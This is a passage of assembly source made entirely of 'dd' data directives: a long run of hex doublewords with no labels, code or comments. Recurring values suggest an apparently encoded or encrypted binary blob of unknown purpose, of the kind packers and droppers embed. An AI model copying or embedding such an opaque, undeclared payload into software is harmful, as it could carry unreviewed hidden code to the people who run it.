0A0EF9271h, 13CE4C0Fh, 156AAF3Dh, 9D691132h dd 15668834h, 1566C23Dh, 9C9A2232h, 0BD60E487h, 6E88734h dd 75664432h, 156624DAh, 0A153FF32h, 4AEBC416h, 5222F68Dh dd 2BE64316h, 0BDE31EDBh, 0E0668832h, 1567FE60h, 0E7672232h dd 1ED2BB9h, 11A20B16h, 79A1C5C7h, 142D3517h, 79DF40C5h dd 3C2D9F17h, 90691DFDh, 15662239h, 156617DBh, 4100C332h dd 4369DC02h, 3CB19860h, 41673AF1h, 4E3C8C16h, 3CB1AFB3h dd 7D9F09F1h, 156657B6h, 0AC4284BBh, 15660432h, 1A3FE933h dd 156610B3h, 0A85D7132h, 13CE4C0Fh, 1548A03Dh, 96691132h dd 1566883Bh, 0CFE72252h, 4D314BFFh, 1A9D2A53h, 1566AEB4h dd 94062432h, 7FD7C3EBh, 0DEE77700h, 1A0707BEh, 156646BDh dd 74619132h, 0EA8F99DBh, 156361CDh, 60624432h, 9E87F459h dd 0BD7C808Fh, 15746134h, 1F204432h, 0F023C946h, 0EA98C0AFh dd 0D8FCAE8Ch, 0DC462561h, 3E33A7F5h, 1566179Ah, 1A9E8832h dd 156648BFh, 1561CB32h, 8A681132h, 6A98F97h, 9C9F2440h dd 0BD60D787h, 0DEC1E34h, 1A668832h, 156656B8h, 156BCB32h dd 0E32F1132h, 0F5F0B8A0h, 0EE88BB9Ch, 98C2D04Bh, 0A56243AFh dd 15776134h, 19614432h, 0B56EF1ADh, 795CC14Ah, 82B19E0Dh dd 0E0A16A8Bh, 1E93F1CDh, 12E21EF2h, 0E9668832h, 156626DBh dd 88EBD732h, 13CB816Dh, 156C6152h, 2DFF4432h, 0AA18CD3Ah dd 0C6C7AC34h, 15660C3Dh, 0EC074432h, 9669F1CDh, 0EA99EEB5h dd 15668FDBh, 0E2E24432h, 332FAA2Bh, 1393A4B9h, 68F8E9Ah dd 69664432h, 4178CD1Ah, 0A222F89Ah, 49996442h, 50891146h dd 0A0EFE8C3h, 13CE3A67h, 1AFB05CEh, 0ED60EAAAh, 9E9FF1CDh dd 0BD6E2CB7h, 90EF7134h, 13CE42C7h, 0FC07DAC7h, 15661135h dd 0DCADCB8Bh, 95EF2BF2h, 9069CA0Ch, 156611CEh, 0FDA50352h dd 15664439h, 4A388191h, 26D497EEh, 1A5E41C1h, 156644BAh dd 96077D32h, 0BD542C8Fh, 91698834h, 156644E6h, 940042CEh dd 9ED0AEC5h, 0A334E9E4h, 95A8BAA6h, 0C3905DD4h, 95E9F7B2h dd 9D372BDCh, 4C8ECCC7h, 0FCCCDB68h, 15661122h, 19089C8Fh dd 690E2606h, 0D1BC2430h, 5C6D502Ah, 1528D25Ah, 3152CD32h dd 934226B3h, 4D370901h, 0D550E1Fh, 0FD06B163h, 15662220h dd 0B8F28191h, 0BF45CDA3h, 1F2506B0h, 0C29299Dh, 0C5E771C2h dd 0AA4F07Ah, 0E6D14B6Ah, 0F2DB7753h, 94051911h, 8BD14EDFh dd 488E4500h, 344BDA1Bh, 7556785Eh, 9EBF0354h, 0AB3025C3h dd 15662236h, 4D10091Fh, 1096A151h, 763E322Ah, 156ACB6Ch dd 659D1132h, 67AA6152h, 79045478h, 0E9CD5775h, 156459DBh dd 17D9E832h, 757F60ACh, 1F8E4352h, 0CE661132h, 62E479BFh dd 5DEF2FB4h, 74077C13h, 0FFB68CBFh, 128F8E9Dh, 47664432h dd 0F240B78Fh, 0C6994633h dd 156A0B3Dh, 95694432h, 15662234h, 1566963Dh, 1A068832h dd 156640B8h, 0E9DD4432h, 13EF1E6Ah, 1A668832h, 156644B1h dd 88EB4332h, 13C9EE08h, 1567083Dh, 759A4432h, 73FED0B2h dd 0EA07CBB9h, 156361E1h, 9C3D4432h, 1EF774EAh, 0FE31EF2h dd 0FC668832h, 1566443Ah, 5B9C659h, 0B15780D3h, 1566BADBh dd 17ED4B32h, 75662232h, 0E0E39253h, 10602034h, 0EB0BADCBh dd 9D69DDCDh, 15661125h, 15669ADBh, 3B1EDA32h, 7C89EBA2h dd 5CC66E85h, 645D8C3Ch, 98AB6784h, 0A567AAAFh, 1DE41E34h dd 75668832h, 1566C93Dh, 0EA072232h, 14E31EE1h, 0E0668832h dd 90698439h, 15662209h, 0F1D87752h, 156C61F3h, 0EAA74432h dd 2D1F3329h, 2A68635Ah, 153B6153h, 94064432h, 7D66B9F2h dd 0A5067050h, 15766177h, 0C21A4432h, 28F538DFh, 82658E8h dd 4232D37Fh, 46073CD5h, 595C4A65h, 5A39297Bh, 15364FB3h dd 0D2E76344h, 0B5269149h, 1439EABBh, 1F8FD3E8h, 49664432h dd 0FCBF2F58h, 0A64088A9h, 15956147h, 1D8F4432h, 5662232h dd 1A7BABD7h, 9893CBD1h, 0B8F61BAFh, 0C699D734h, 154D923Dh dd 0A3068832h, 0A0ED251Bh, 13CE24C7h, 156EF8C7h, 21F58832h dd 4C7A3EA9h, 0CC8FB37Ah, 0FC66111Eh, 1566883Bh, 75C87F79h dd 148D6235h, 0E0EB9A41h, 0FC602034h, 15664421h, 0FBAFA34Dh dd 5272656Fh, 8256115Fh, 7B4EB16Ah, 9CCA27EAh, 0BD60E487h dd 156C6134h, 7AB84432h, 55B1DB35h, 1B25B7A9h, 4F8F09CEh dd 3C397132h, 4FDC70C3h, 14392432h, 409FD2E3h, 0D11C418Fh dd 4A93A36Fh, 9405BE37h, 0E470BDFFh, 0C4A3C524h, 946B7626h dd 5AF241C7h, 9CABA17Eh, 949A19DBh, 343410F4h, 51889002h dd 3C79477Fh, 51A0C5FCh, 9479ED7Fh, 343423DCh, 156C6102h dd 473C4432h, 5FB68AF7h, 13C5E44h, 1A062CC1h, 156644BBh dd 0DFED4432h, 0E9B3F853h, 906977CDh, 15664433h, 0B9FBAFCEh dd 1A60BFABh, 156689BDh, 7306B132h, 15FBB3h, 1AB5EE53h dd 15668FB2h, 14EB4B32h, 0ED662232h, 31529065h, 5C7ADB08h dd 2FDF156Ah, 242F3E61h, 3E9E48FAh, 0BD7C19B7h, 90EFB134h dd 13CE2B53h, 84E39ACAh, 1A602028h, 15664DB5h, 0AA694232h dd 0F2DD77C5h, 240EE949h, 9C66441Ch, 7D9F060Eh, 15667DC7h dd 1A428CBBh, 156645B4h, 128FD732h, 91661132h, 90E8D27Bh dd 98EB4681h, 13C8B9FFh, 2432A952h, 1C8FA960h, 8C664432h dd 0A6F98E3Bh, 0A97462AEh, 0FCB77753h, 15664439h, 3E072E83h dd 5036A357h, 9EA130CEh, 0BD54A9B7h, 198F4234h, 0BD661132h dd 0A9BAF5C0h, 175BCF2Ch, 74DB5CCFh, 94809864h, 15668CF4h dd 1188C532h, 92662232h, 9C3A3506h, 449FAC36h, 0D4E7A5BBh dd 15662236h, 1562F8B3h, 19E18832h, 29EF1816h, 2E82D16h dd 0FC661132h, 15668820h, 0F21E9941h, 3270AD41h, 20009B09h dd 3497E0Eh, 90ED90B5h, 13CE38A3h, 6B1679C7h, 11EF8832h dd 188FB816h, 54662232h, 0EF2E0D09h, 0B6E4AD48h, 8084F65Dh dd 8997AFBFh, 7306179Ch, 688B57B3h, 74B4B7B2h, 9506F3CDh dd 0A269B0C7h, 9C33E9C9h, 39E711F7h, 0A434E216h, 0D7E74B06h dd 21D7DAF2h, 18F246Fh, 0D9662232h, 0E1D84CFAh, 60B01FFCh dd 0D0FCEAA7h, 56A66F12h, 0EC2F7E32h, 9E367153h, 0D1E7603Eh dd 15662236h, 984DEDCBh, 13CEBADFh, 60DBC7CEh, 15608A32h dd 15A2953Dh, 0FC068832h, 1566443Bh, 0AC9E1F8Bh, 38E5926Bh dd 9E077496h, 0BD70EDB7h, 0CFE74234h, 436BBA24h, 88A90954h dd 904D25EDh, 13CE2247h, 15719B3Dh, 91698832h, 15664423h dd 15662EDBh, 92F93132h, 623C9025h, 969B4FCh, 156DCBEEh dd 0BD661132h, 9CA0A5B7h, 0CD4129AFh, 1AA719A6h, 156674B4h dd 9369E832h, 15664437h, 1AEA354h, 7401A078h, 1A8F0DB9h dd 58F429Ah, 8A662232h, 974E284Ah, 514B2BFAh, 0C8A54899h dd 1688177Ah, 0BD6664B7h, 15636134h, 0D4A54432h, 9C12F57Fh dd 0BD64DCB7h, 19ED8734h, 1A664432h, 156624BAh, 15E41E32h dd 0FC668832h, 15664584h, 156EAC3Dh, 92691132h, 15668830h dd 460E2552h, 9C662254h, 9469353Eh, 15668838h, 1A3F1752h dd 156622B9h, 47377032h, 0B22BC88h, 3132752Ch, 203E7836h dd 0B785506h, 15669BDBh, 0FEB4E632h, 0D7CBB519h, 0AC6D40F0h dd 4FB5D9C8h, 0C2043962h, 2C019C64h, 0CB912E40h, 3180097Ch dd 0E225723Eh, 1588A3E4h, 14D9EACEh, 1C8FD6C2h, 94664432h dd 0A1DF1F32h, 0CEA5F37Ah, 0EAD8DE65h, 9C66443Dh, 0ED6F7CC5h dd 0EF1E6Dh, 0FC668832h, 15664422h, 67EB60EEh, 810FEB93h dd 9D53E206h, 9BBC3487h, 15679C64h, 0E5671132h, 0FC06E86Ch dd 15664439h, 795FD66Dh, 0C81D1976h, 0FD39BA42h, 15664434h dd 40F55025h, 74381586h, 0BCE30153h, 7560EC24h, 1F8FC785h dd 0CE661132h, 149D1EDFh, 0AEE489D1h, 90674386h, 13CE3DA7h dd 156698DBh, 55A0F632h, 856DD42h, 5C9EFC4Fh, 683FE384h dd 60E383C3h, 15608A32h, 75661132h, 0AE946CB2h, 11987993h dd 75264853h, 0FD372281h, 15668835h, 0F5B5F32Fh, 4A3B1CF7h dd 150E706Bh, 0FC668822h, 15664426h, 0F9B32AFCh, 0B9749200h dd 32B16E0Ch, 37F39590h, 847D5D2Ah, 1573933Dh, 58F8832h dd 2A664432h, 0DBB5E7EDh, 38C4FC6h, 0C00453A6h, 7DAFA62Ch dd 15660E25h, 0E9421DBBh, 73068858h, 74CE038Bh, 35DBB7CDh dd 0EA9A179Ah, 0BD6AF9A7h, 14E84B34h, 0E0662232h, 1A8F94BBh dd 138F8E9Ah, 0E6664432h, 0D1E8C9B5h, 0D8E398BEh, 75602030h dd 9E07A7B8h, 9C35063Eh, 11A590D1h, 94668832h, 156640F1h dd 317AA532h, 0A099E46Eh, 13CE8AFFh, 1577C63Dh, 9B692232h dd 15661139h, 15668EDBh, 0A7E90B32h, 0EAB5C3F0h, 0BD54FC87h dd 92697D34h, 15664433h, 13BC4ACEh, 29EF1132h, 15766116h dd 48C44432h, 570991F2h, 6053989Ch, 7ED21A00h, 0A09902C5h dd 13CE38A3h, 15779B3Dh, 198F8832h, 0D3664432h, 1C4D3781h dd 2191A80Ch, 98AE2C1Dh, 0BBD238B7h, 0C599DE34h, 0D7DF7752h dd 14077423h, 0BD6631BFh, 1560CB34h, 8B6E1132h, 0B62607FFh dd 0D8DBCFCBh, 1A608A30h, 15661CBBh, 156E6132h, 58424432h dd 40E342CEh, 0A0EDFC24h, 13CEBADFh, 0E9C2B7C7h, 0FD797B9h dd 1B8F179Ah, 77668832h, 671BA4E9h, 5048E503h, 2480D1B8h dd 0FD062521h, 1566443Fh, 0A812A6EDh, 1C004765h, 5E4A0611h dd 9A691BC1h, 15662231h, 744AF5B2h, 24D83361h, 0F6A74BBEh dd 7FA5A334h, 943B9D7Bh, 9E2F5DD9h, 11858538h, 18069A62h dd 0DF4B6064h, 0D4678829h, 724340D2h, 1072A210h, 2E595F7Eh dd 82C42C37h, 4DA56D13h, 4E9A7CBBh, 156D903Dh, 73068832h dd 0D30CA7B3h, 0E0D29C54h, 10A6D053h, 156682DBh, 0FE381332h dd 0C28F4FA5h, 446EEFC2h, 795A3664h, 0E4EF763Ch, 0AA87A36Ch dd 5416E54Ah, 946561F3h, 0CF7AD5FBh, 0E8A7A33Dh, 946C4B0Dh dd 16188EF3h, 4CAE4520h, 1561AF3Dh, 91691132h, 15668833h dd 0C0E347C7h, 1A608A03h, 156605B8h, 15696132h, 0F28E4432h dd 77A5F9D1h, 60AFD75Fh, 7B4658ACh, 0D8EBCF92h, 1A608A30h dd 156603B7h, 1F8EE832h, 98664432h, 4722AC59h, 0D73488ADh dd 9607D0F3h, 19EF40DEh, 1A66AD16h, 156616B2h, 14E28732h dd 0E0664432h, 14EC2D9Fh, 0E0661132h, 4FC03062h, 0CD915B85h dd 247EC317h, 746F2426h dd 0F5A7BBBAh, 94630C35h, 465DED69h, 4BEFD2BBh, 1A3ED3CEh dd 156648B1h, 13E42D32h, 1A661132h, 156688B4h, 0A4D3CD32h dd 0FC608A28h, 15661135h, 2515927Fh, 9623F5D3h, 9069DDCAh dd 15661155h, 0BB363252h, 940703EFh, 0C8BBFF0Ch, 41E31EEFh dd 75668832h, 7439B165h, 15669F67h, 9A331132h, 409ED534h dd 1566408Fh, 5988A332h, 143F9709h, 59A009DCh, 483FC209h dd 0C3D92D52h, 0D7819054h, 0A0EFE9D6h, 13CE5E83h, 15662CDBh dd 14DD5432h, 908DBC91h, 939912FCh, 0FC69BF11h, 0EA99C2E7h dd 0EFEDEE52h, 0D40785B9h, 1A0621F2h, 156611B8h, 9C69D932h dd 15664432h, 9065436Bh, 13CE20E7h, 15669BDBh, 87B91232h dd 452FE88Dh, 0D889BC80h, 0A5078BE4h, 0DC490BC3h, 1B2F9FB1h dd 1A67179Ah, 156291B6h, 156FAD32h, 0E76D2232h, 9DA25B1Ch dd 94CEBDB8h, 0BFCCEE0Ch, 0D7E32D98h, 0FC661132h, 15668839h dd 1A2E7301h, 84737356h, 4068052Fh, 15623163h, 0D8EF4432h dd 4888236Bh, 1570963Dh, 48F8832h, 82664432h, 0AF355296h dd 0ED4A44C9h, 7455205Ch, 6D19932h, 1578795Ah, 31629832h dd 1267EA8Ah, 0E920834Dh, 6A612350h, 4D9A571Bh, 156682DBh dd 3A0DE832h, 1A5D7C7h, 4583E176h, 29EDD065h, 11A2C716h dd 156BA63Dh, 1D8F1132h, 8C668832h, 0AC38B16Ch, 75D522E5h dd 95989A54h, 440791EBh, 0C0906287h, 0D098E7CCh, 9D54E4B2h dd 48FD1DAh, 24664432h, 14E7A50Bh, 8CF4B81Bh, 0D902D4BDh dd 71F6D7ADh, 156676DBh, 1569F832h, 0E9838832h, 3F2417EAh dd 0C98C1EEh, 77FBAD03h, 249EB985h, 1A9E75F5h, 156634B5h dd 5E01E32h, 0FC668832h, 15664439h, 93F211DFh, 0AC2D5308h dd 0A5AA7188h, 47A1489Ah, 0FBA62A84h, 61A09130h, 151B66B2h dd 138F1EC2h, 0B8662232h, 5C28DEBEh, 0F3EFDE8Eh, 156282B3h dd 0FBE72232h, 15661136h, 4942BCB5h, 0EC4240BBh, 1FD79FB1h dd 1A67179Ah, 156705B6h, 0AB002432h, 73D9CFC2h, 74545A40h dd 3BAAE060h, 0D43C5545h, 0E7E724D0h, 624308E2h, 2B2362B3h dd 0D7E70AC1h, 3162B647h, 1EDC1BBh, 11A20916h, 75664432h dd 74A1A9CEh, 95AEACB1h, 1A668E9Dh, 15661DB6h, 14E52D32h dd 0ED661132h, 157E023Dh, 68F4432h, 17662232h, 0C921CCA2h dd 0FB0BD2DCh, 0A35E038Bh, 64184B26h, 88EB6CD1h, 13C8412Dh dd 1561CA3Dh, 75062232h, 0DAED7753h, 75B57753h, 15664BDAh dd 0F97D6E32h, 221BFCAh, 3986ACEAh, 0E1D53367h, 4A85E7B2h dd 0F5AD9054h, 2AE6E94Fh, 53E24BA2h, 1A662232h, 156600B0h dd 156A6132h, 5A584432h, 3C92EDA0h, 3CFE3B54h, 4093AC10h dd 1566418Fh, 0E89A332h, 14464F19h, 0EA109DDh, 48461A19h dd 1561A53Dh, 91691132h, 15668833h, 1492ADCAh, 93692232h dd 15661133h, 459E0BCAh, 15FEC63Dh, 9A692232h, 15661133h dd 0A63570CEh, 458594FFh, 0F64E2886h, 4EBE996Ah, 18EB87CBh dd 75664432h, 156624DBh, 82688B32h, 7476B724h, 1EEB4B98h dd 0FC662232h, 15661134h, 7E7A8404h, 2199C1CDh, 0D1E57A16h dd 156DF836h, 9C338832h, 62AD1530h, 84E4F1EBh, 48FBBDEh dd 9A668832h, 83E4B28Bh, 5D430A30h, 3B0FF55Fh, 0A6EE1BC5h dd 1574AC52h, 0F7FE2232h, 33786081h, 0BC6A7148h, 0F06C756Dh dd 0DF0FCA1Eh, 0D199D0B3h, 0A338AF69h, 0F18F254Ah, 1A662232h dd 156610B9h, 11ED7032h, 0F3EF1216h, 1562E4B3h, 0D3E51132h dd 31520F36h, 0FD06246Eh, 1566223Ah, 0CEC7A429h, 60B6F10Bh dd 74A0CF6Bh, 0BF07D2B8h, 0EA1991CAh, 0BDE387DBh, 1A664432h dd 15662AB7h, 17E21E32h, 75668832h, 0F2E72453h, 25589013h dd 156602DAh, 92444232h, 0FACE252h, 10D93198h, 97F620Bh dd 0A564C694h, 4D199BB3h, 743C0757h, 95AEACB1h, 1A668E9Dh dd 15660DB6h, 1BE32D32h, 75661132h, 1566053Dh, 0DAE74432h dd 6673029Dh, 5FB9C53h, 0FC6026FAh, 15664426h, 4B9B002Ah dd 0C08D3583h, 637968DFh, 0EFF08EF8h, 0C63E078Ah, 1A06C2CDh dd 15668EBFh, 15E44B32h, 94662232h, 1AB7F0FDh, 9D34E91Fh dd 11DD17F4h, 14662232h, 4E5599C9h, 12EE8768h, 1A664432h dd 156623B2h, 9E9AE432h, 0BD6445B7h, 0BC63BD34h, 3821A415h dd 710031C8h, 0EF63701Bh, 38022212h, 52E0059Bh, 0A26971CEh dd 156361C0h, 0C5434432h, 7434B173h, 1548635Ah, 317A0132h dd 15664089h, 4EBE0B32h, 1572F852h, 9D338832h, 8EFA1F67h dd 0D6529930h, 0BF55C77h, 33D628E2h, 0BE073466h, 156633DBh dd 0B06DCC32h, 0C79BC6C9h, 3C6D25DEh, 59288AF1h, 0E0CBA70Dh dd 687D3567h, 53A16CB7h, 6FE4C7CEh, 0E90810E5h, 9442A4B9h dd 156640F6h, 0DFED4232h, 74D4C7B2h, 0EA9D88DBh, 1561ADCDh dd 8AA2232h, 0D09DDB53h, 0A4D30195h, 7560EC28h, 5485A354h dd 0DEE1EB9h, 0FC668832h, 15664421h, 0DD910F2Eh, 8CA31CACh dd 40059F6Ah, 0E6F75776h, 741BA075h, 156619DBh, 35DB7732h dd 301F10E7h, 7164AFDh, 1EF1132h, 0DEA8716h, 0FC664432h dd 15662221h, 0F6757F17h, 0B4924F55h, 36C7E9D6h, 10065E54h dd 7D63C656h, 15660832h, 157FCE3Dh, 18F2232h, 4B661132h dd 5ABDD701h, 8F4EA5DBh, 0E53FD60Dh, 8D325F12h, 7FB94711h dd 19E84B32h, 1A662232h, 156617BEh, 15E28732h, 0EA664432h dd 0BD78BF87h, 156FF834h, 0FD8F8832h, 9CD0232Eh, 0EAEB201Fh dd 0BD4EBCA7h, 1ED7134h, 0F4EF1516h, 1562E3B3h, 0D4E51132h dd 316A0F36h, 0ED31246Eh, 98ED436Ch, 13CE0E77h, 156A0F3Dh dd 95694432h, 15662234h, 1566963Dh, 0F9E58832h, 3162CD36h dd 1566228Ah, 0D2AE1032h, 15668832h, 469F1C32h, 15662689h dd 9EBF1032h, 0D1E5AC2Eh, 14E64B36h, 0E0662232h, 0A239CBBh dd 0FC068E9Ah, 15664420h, 555BB307h, 281215B3h, 34D2E8B7h dd 0D68BB268h, 73060EFEh, 108FE2B9h, 0E0668832h, 6954E322h dd 1D8F4353h, 6D661132h, 0AF0DB1FFh, 0FC612391h, 0EA99E4D5h dd 95DF7752h, 15756059h, 83024432h, 5742A09Eh, 1659EEB7h dd 2C5B08EAh, 0D53BE6C9h, 0E2E74481h, 743DCE6Bh, 154CBFDBh dd 8DD12432h, 1564AD3Dh, 74061132h, 108FE853h, 0AE664432h dd 69A25CC0h, 0A239CB9h, 94068E9Ah, 1B7745C0h, 156CCA09h dd 0E93D1132h, 0D13A67C4h, 52995998h, 156630DBh, 0E3A04132h dd 3CEEF173h, 227A880h, 6CE2B010h, 4B20DF47h, 94577753h dd 69E56006h, 423F1C88h, 0E17A68Dh, 0D9A10912h, 2478DB38h dd 9A697DCBh, 15661137h, 0DAEDEE52h, 0D1EBCD53h, 75608DB2h dd 15661BDAh, 34406F32h, 994988A6h, 0FDCF7DE3h, 15661123h dd 0E9F6F3EFh, 0D6DB0CE7h, 83D6122Eh, 0E9A18E52h, 0A73CD310h dd 2DE7257Fh, 5922767Ch, 15E1943Dh, 9E068832h, 0EFED22E5h dd 6DE74453h, 1A485D36h, 1566FCB7h, 1569AD32h, 0FCFE2232h dd 0F08EB26h, 0F22CEB64h, 69BA79C7h, 118AA304h, 9C661132h dd 11E7AC36h, 8433CE16h, 0FBE77C7Eh, 59F744B8h, 14E587CBh dd 0EC664432h, 13DF7367h, 9C661132h, 0FB67D1FFh, 1D8F246Fh dd 2D662232h, 4B5E0EF0h, 95883D74h, 0ED0705F1h, 3A0FA7B9h dd 0FD06179Ah, 1566883Ah, 0F5A2260Ah, 409492BEh, 0A63FEAB9h dd 578FE913h, 0E0664437h, 21E772CEh, 0F0341C16h, 31520339h dd 156280B3h, 0E3E72232h, 1E83433Fh, 156687DBh, 525D0632h dd 0E121A728h, 6D390B13h dd 0DECD494Bh, 3162C562h, 208D7B2Bh, 0CD84768h, 3C53636Bh dd 93691AC0h, 15662223h, 15661DDBh, 0C840D332h, 0EACB463Fh dd 0CD7D4A65h, 0E9AF209Ah, 18ED879Eh, 75664432h, 1566A33Dh dd 94001132h, 7477ECE8h, 1A6678C7h, 156759B6h, 73307132h dd 753F42B9h, 0DF27FD54h, 713A078Bh, 2907702Ah, 0DCE2871Fh dd 7599BBCDh, 0FC959D3Dh, 1566113Fh, 0BD87E1D3h, 3312D3DEh dd 726A2D52h, 299E7094h, 0CDE2871Ch, 0FC664432h, 1566223Eh dd 4EA9CE5Bh, 8026191Ch, 0C0337E79h, 9769120Eh, 1566143Ah dd 1A5FB4CBh, 0EA99C3B4h, 545ADECDh, 1190933Dh, 759F8832h dd 0A5DE2260h, 9B69782Fh, 1566113Eh, 15668FDBh, 83C51F32h dd 0B5AC8613h, 1A3C2D53h, 0EA99D3B4h, 986924CDh, 15662231h dd 7398A63Dh, 74FCE58Ch, 91691B0Eh, 0EA99DD76h, 157F923Dh dd 18F8832h, 4D664432h, 0B5D1D65Fh, 318573A3h, 7818A5FFh dd 0FCE7DBF8h, 29A1C621h, 80E41E53h, 75668836h, 3B0EFF54h dd 14E32D53h, 0E9661132h, 9369F20Eh, 0EA99BB3Ah, 156629DBh dd 6DB59E32h, 5FCB673Fh, 0DB669833h, 1567A93Dh, 0FC931132h dd 15668C56h, 0E5E72452h, 5E94702h, 156619DBh, 5A03AE32h dd 82547CE1h, 0AB004318h, 430792AEh, 0EA99778Ch, 4B946DCDh dd 19EC2DCEh, 1A661132h, 15668EBDh, 15E94B32h, 2C662232h dd 30E21EC0h, 0FC668836h, 15664422h, 1DE2E1D7h, 4B192409h dd 0CBB016B1h, 0CDF50358h, 156DA63Dh, 138F1132h, 41668832h dd 0D740B2D7h, 14D8747Fh, 3C661132h, 7306D6C0h, 0EC3693B9h dd 46374369h, 92254A6Bh, 7C8F74EBh, 0ED99BBCCh, 9169EBB7h dd 156612EAh, 15668FDBh, 5C59C132h, 0B8F9A481h, 3097A4BFh dd 1D8F8E9Ah, 78664432h, 87263A2Fh, 470723D8h, 944284B9h dd 156640F6h, 156FCB32h, 0F4441132h, 9EC5B681h, 447B72B2h dd 9C36F3BBh, 4DA198FAh, 14E9876Bh, 0E0664432h, 1540A13Dh dd 0FC061132h, 1566883Ah, 7C562F6Dh, 927EF8D0h, 156600DAh dd 2D582E32h, 0C271D845h, 0DCC8A0ACh, 8E3AA59Fh, 743DF8F0h dd 4AD21463h, 9D17D6B2h, 0DDEE49D3h, 1576616Bh, 77A54432h dd 60AFE45Fh, 7B46C1ACh, 4946E692h, 60C8A175h, 940042CFh dd 746DBEE9h, 156686DBh, 2E20A832h, 0FCCAB1A9h, 0D7CD0362h dd 1A588352h, 156652B3h, 1B8F4232h, 4A661132h, 0E71C21B3h dd 81AFD315h, 7EE84AE6h, 9407ED63h, 5D2D20DBh, 11A7C56Ch dd 3C3CAA49h, 118F90CBh, 943C0049h, 5D2DECF3h, 922FDE6Ch dd 92B4E6E3h, 9D6970E3h, 15664433h, 2BA1A3CAh, 94312B49h dd 0AF0924DDh, 94A96D7Fh, 0AF098EF5h, 2B89907Fh, 7531B249h dd 157ECE3Dh, 68F2232h, 3B661132h, 0F4B34F8Ch, 37C324EEh dd 136D0ABAh, 0D8E78A43h, 0C4E60D7Ah, 966925C6h, 1566222Bh dd 1575903Dh, 1B8F8832h, 85664432h, 219C3888h, 19990DD2h dd 8EE539C5h, 4A301369h, 964216B9h, 1D8F15F6h, 52668832h dd 6B11CE80h, 0E6A1B045h, 1A06E996h, 156688BAh, 0A3342532h dd 0EA11AA32h, 964205B9h, 1B8F8CF6h, 0F2664432h, 47502D18h dd 0C31AED5Bh, 5AA6610Eh, 0E4F3C9B6h, 0FC608A17h, 1566113Ch dd 0BA7C9918h, 78E493A9h, 300C66D4h, 90EDA9C0h, 13CE8733h dd 1AA6C1CAh, 156662B7h, 94007132h, 0ED5F8BD5h, 0C0E38253h dd 52608A27h, 0AB00ED52h, 7D076CE9h, 0C1FCE3E0h, 80D3DDCAh dd 0E060B93Dh, 7C170DBFh, 1A064299h, 156624BEh, 15E11E32h dd 94668832h, 0D0520ED5h, 0C599435Ah, 0F4EF40CEh, 156249B3h dd 0FCE54432h, 316AA536h, 3172986Eh, 1567083Dh, 0EA9E4432h dd 1576CBE2h, 0D7301132h, 0D2FACF2Fh, 0F9E71CA1h, 0B7C040Ch dd 0D5E3002Bh, 14750D3Dh, 9D694432h, 15662235h, 1567993Dh dd 0ED9F8832h, 0B8BC1B9h, 9869249Ah, 1566112Ah, 15669BDBh dd 42C75D32h, 459ECC98h, 79162679h, 0DEBC4F1Fh, 2D557534h dd 9069E2B7h, 1566114Bh, 15668DDBh, 0B3E79632h, 90A0D9ABh dd 13CE04E7h, 58FE87Eh, 0D664432h, 96BC2D2Ch, 81DFCC08h dd 17345136h, 9EC49EBEh, 0FC0E43EAh, 75BFCB2Eh, 0B80954h dd 0D6E72243h, 0EA078533h, 0BD698487h, 90EB7434h, 13CD2D43h dd 17E02D52h, 75661132h, 0D92C3753h, 0FC0714A6h, 1566223Fh dd 571B611Ch, 0A4788A16h, 0BFA1F9D6h, 0ECB6DD8Ch, 156619DBh dd 45AC3C32h, 4C24347Fh, 0F4EF73F4h, 1562D0B3h, 0FCE78832h dd 15664436h, 49422EB5h, 754205BBh, 8913DB89h, 0CCED221Dh dd 1AB6DD53h, 156610BFh, 0D5E37D32h, 1549C13Dh, 0FC932232h dd 1566118Ah, 17E08752h, 45664432h, 75064368h, 0CB67E6B3h dd 4EDEA217h, 747187FAh, 156625DAh, 1A976132h, 92455825h dd 4CA8CF54h, 0D1E3AB53h, 0E060BEB2h, 152AE85Ah, 3162CD32h dd 77BC4ACEh, 21EF1132h, 1FEE8716h, 75664432h, 1566A83Dh dd 0CCEC1132h, 8E30553h, 0EC60EFB8h, 9C69F2CDh, 15661139h dd 15668EDBh, 3826FD32h, 1E9BE361h, 39E31EF2h, 1A668832h dd 156643BDh, 0A2694232h, 74B59AC8h, 1566BBDBh, 1ED4B32h dd 1A662232h, 15661FBDh, 156F6132h, 27E14432h, 5EDEE2AEh dd 9CDCB26Dh, 1A7AAC76h, 156645B5h, 9E69DA32h, 1566113Ah dd 1564043Dh, 74064432h, 0E9A5DB53h, 1569F852h, 8F428832h dd 17B9C2C1h, 51213765h, 34B10137h, 0D1EB03A9h, 7560EBB2h dd 753DBC8Ch, 0C502AA70h, 7507E9ECh, 7D07FF87h, 15665F38h dd 1A4215BBh, 156680BCh, 17ED4B32h, 75662232h, 20957953h dd 39EF8832h, 9CABCD16h, 1A067FDAh, 1F8FC885h, 0A4668832h dd 1E65A4D3h, 70480561h, 0AC3770F5h, 1566880Eh, 0AF348533h dd 15662232h, 1765DB33h, 9F69D168h, 15664439h, 15E22D52h dd 95661132h, 0ED0725E7h, 15EEF4CDh, 21E72232h, 0A00BE316h dd 0AA31D20Dh, 20D54726h, 0E2E76D75h, 1F607FD4h, 0FC397203h dd 1566443Ch, 9F7565D8h, 0E959C31Ch, 39D60EC8h, 80EFFDB7h dd 13CE251Fh, 9E00ED52h, 0AE35E9C8h, 156644CAh, 0CE477C1Fh dd 10BE101Ch, 3BBDA96Ch, 949F2469h, 170ADE9h, 65997041h dd 3172033Eh, 156280B3h, 9C692232h, 15661133h, 0B8F301CEh dd 1A60EC3Bh, 156623B5h, 2199E832h, 0D1E7D016h, 15664436h dd 74B5A952h, 314265CDh, 94428CB9h, 156640F6h, 8C4BDB32h dd 1001F756h, 11D58EF4h, 0D34B8C1Bh, 10629134h, 728075ABh dd 156685DBh, 9AE98632h, 89F4C8C0h, 0AE556B12h, 905DCE15h dd 13CE4D9Fh, 153EA03Dh, 18F1132h, 97668832h, 0C80EDD47h dd 0DCB69FDDh, 4A32321Dh, 0BD564C00h, 2ED29627h, 0BD610FB7h dd 26E51E34h, 0ED668832h, 1A8E2453h, 29662232h, 33B13E8Fh dd 0CC6719E3h, 0B8ED6A47h, 128FDBDCh, 12661132h, 1FDEC150h dd 1A3CF284h, 156621B6h, 0CDD91E32h, 15624A53h, 0E007B8CBh dd 124226F5h, 427AEA63h, 6A51D98Dh, 311A4518h, 39E77D36h dd 6FEE4916h, 0AF347475h, 3DBB4E12h, 1D4276BBh, 310A9068h dd 76595936h, 3122C579h, 93539336h, 14E21E10h, 0E0668832h dd 7E8EFF61h, 0CDEF4734h, 318A3C69h, 0EC53DE80h, 0ED681074h dd 5AC9AFBFh, 